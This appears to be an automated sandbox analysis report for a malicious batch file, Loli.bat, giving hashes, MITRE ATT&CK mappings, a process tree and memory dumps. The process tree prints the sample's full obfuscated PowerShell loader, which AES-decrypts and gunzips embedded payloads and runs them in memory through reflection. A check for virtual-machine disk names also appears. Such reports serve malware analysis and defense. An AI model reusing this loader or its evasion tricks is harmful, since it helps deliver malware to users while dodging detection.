37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff

General

Target

Loli.bat
Size

7.3MB
MD5

8a7f2cf2f4a59fc4220c677d3b8df79e
SHA1

6bb7854dc78dcb7a5e419e5eec371f4a776bb6a7
SHA256

37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff
SHA512

15acdd90a51634c1dbfcbee7dd2822742e42c4618e6590e238ac08abbb26c53e3c3e64e98ddb5439c7499af90eca66bb49c7dfeb5b6e01693e4e521fa5edbfc4
SSDEEP

49152:ATU9DCJDJw+wDkT1uYtsfLfYJZpXAQfiWBpvuLpCKUYCPFJJ+weKaTYHlFYdWKhL:n

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 2392	2304	cmd.exe	31
PID 2304 wrote to memory of 2536	2304	cmd.exe	32
PID 2304 wrote to memory of 2536	2304	cmd.exe	32
PID 2304 wrote to memory of 2536	2304	cmd.exe	32
PID 2304 wrote to memory of 2988	2304	cmd.exe	33
PID 2304 wrote to memory of 2988	2304	cmd.exe	33
PID 2304 wrote to memory of 2988	2304	cmd.exe	33
PID 2304 wrote to memory of 2056	2304	cmd.exe	34
PID 2304 wrote to memory of 2056	2304	cmd.exe	34
PID 2304 wrote to memory of 2056	2304	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\system32\fsutil.exe
  fsutil fsinfo drives
  2⤵
  PID:2392
- C:\Windows\system32\findstr.exe
  findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
  2⤵
  PID:2536
- C:\Windows\system32\cmd.exe
  cmd.exe /c echo function mlBf($ELFV){ Invoke-Expression -Verbose -WarningAction Inquire '$cUKE=[JZSyJZsJZteJZm.JZSJZeJZcuJZrJZiJZtJZyJZ.CJZrJZypJZtJZoJZgrJZaJZpJZhJZy.JZAeJZsJZ]:JZ:CJZrJZeJZaJZtJZe(JZ)JZ;'.Replace('JZ', ''); Invoke-Expression -WarningAction Inquire -Verbose '$cUKE.MUcodUceUc=[UcSyUcsUctUcemUc.UcSUceUccUcurUciUctyUc.UcCUcryUcpUctUcoUcgrUcapUchUcy.UcCiUcpUchUceUcrUcMoUcdUce]Uc:Uc:UcCBUcCUc;'.Replace('Uc', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$cUKE.PGxadGxdGxinGxg=Gx[GxSGxysGxtGxeGxmGx.GxSeGxcGxurGxiGxtGxy.GxCGxrGxyGxptGxogGxrGxapGxhyGx.GxPGxaGxdGxdiGxnGxgMGxoGxdGxe]Gx:Gx:GxPGxKCGxSGx7;'.Replace('Gx', ''); Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore '$cUKE.KmNeymN=mN[SmNysmNtmNemNm.mNCmNomNnmNvmNermNtmN]:mN:mNFmNromNmmNBmNamNsemN64mNSmNtrmNinmNgmN("7mNxhmNEmNmFmNkymNdmNQmNABmNgmNJmNjmNxmN5SmN2mNzXmN4mNgmNyrmNZmN5mNbmNevmNGYmNPmN6NmN3FmNBmNEmNDmNEmNAsmN=mN");'.Replace('mN', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$cUKE.IqHV=qH[qHSyqHstqHeqHmqH.CqHoqHnqHvqHeqHrtqH]qH::qHFqHrqHomqHBqHaqHsqHe6qH4SqHtqHriqHngqH("7qHkeqHvqHCJqHfOqH5qHxqHcGqHIqHhqHeqH7qHI+qH/qHv7qHAqH=qH=");'.Replace('qH', ''); $Llou=$cUKE.CreateDecryptor(); $jyzK=$Llou.TransformFinalBlock($ELFV, 0, $ELFV.Length); $Llou.Dispose(); $cUKE.Dispose(); $jyzK;}function OVPC($ELFV){ Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$AFBf=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr(,$ELFV);'.Replace('lr', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose -WarningAction Inquire '$gddj=Nlrewlr-lrOblrjelrclrtlr Slrylrslrtlrelrm.lrIlrO.lrMlrelrmolrrlrylrSlrtrlrealrmlr;'.Replace('lr', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$tBrH=NPFewPF-PFObPFjePFcPFtPF SPFyPFsPFtPFePFm.PFIPFO.PFCPFoPFmpPFrPFePFsPFsiPFonPF.PFGZPFipPFSPFtPFrPFePFamPF($AFBf, [PFIOPF.PFCoPFmpPFrPFePFssPFiPFoPFnPF.PFCoPFmPFprPFePFsPFsiPFoPFnPFMPFodPFe]PF:PF:DPFecPFoPFmPFpPFrPFesPFsPF);'.Replace('PF', ''); $tBrH.CopyTo($gddj); $tBrH.Dispose(); $AFBf.Dispose(); $gddj.Dispose(); $gddj.ToArray();}function rFaI($ELFV,$XuUO){ Invoke-Expression -Verbose '$cPFF=[PJSyPJsPJtePJm.PJRPJePJflPJePJcPJtPJiPJonPJ.PJAsPJsPJePJmbPJlPJyPJ]PJ::PJLoPJaPJd([byte[]]$ELFV);'.Replace('PJ', ''); Invoke-Expression -InformationAction Ignore '$GtPT=$cPFF.EjyntjyrjyyPjyoijynjyt;'.Replace('jy', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$GtPT.WqInWqvWqokWqe(Wq$WqnWqulWqlWq, $XuUO);'.Replace('Wq', '');}$TzAi = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $TzAi;$drwF=[System.IO.File]::ReadAllText($TzAi).Split([Environment]::NewLine);foreach ($EhXl in $drwF) { if ($EhXl.StartsWith('bhKKm')) { $cwwY=$EhXl.Substring(5); break; }}$tyyO=[string[]]$cwwY.Split('\');Invoke-Expression -InformationAction Ignore -Debug '$jQc = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[0].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$oYu = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[1].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$bao = OVPC (mlBf ([zSCozSnzSvezSrtzS]zS:zS:FzSrzSozSmzSBzSaszSezS64zSSzStzSrizSnzSgzS($tyyO[2].Replace("#", "/").Replace("@", "A"))));'.Replace('zS', '');rFaI $jQc $null;rFaI $oYu $null;rFaI $bao (,[string[]] (''));
  2⤵
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2056-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2056-6-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/2056-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2056-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-10-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download

Analysis

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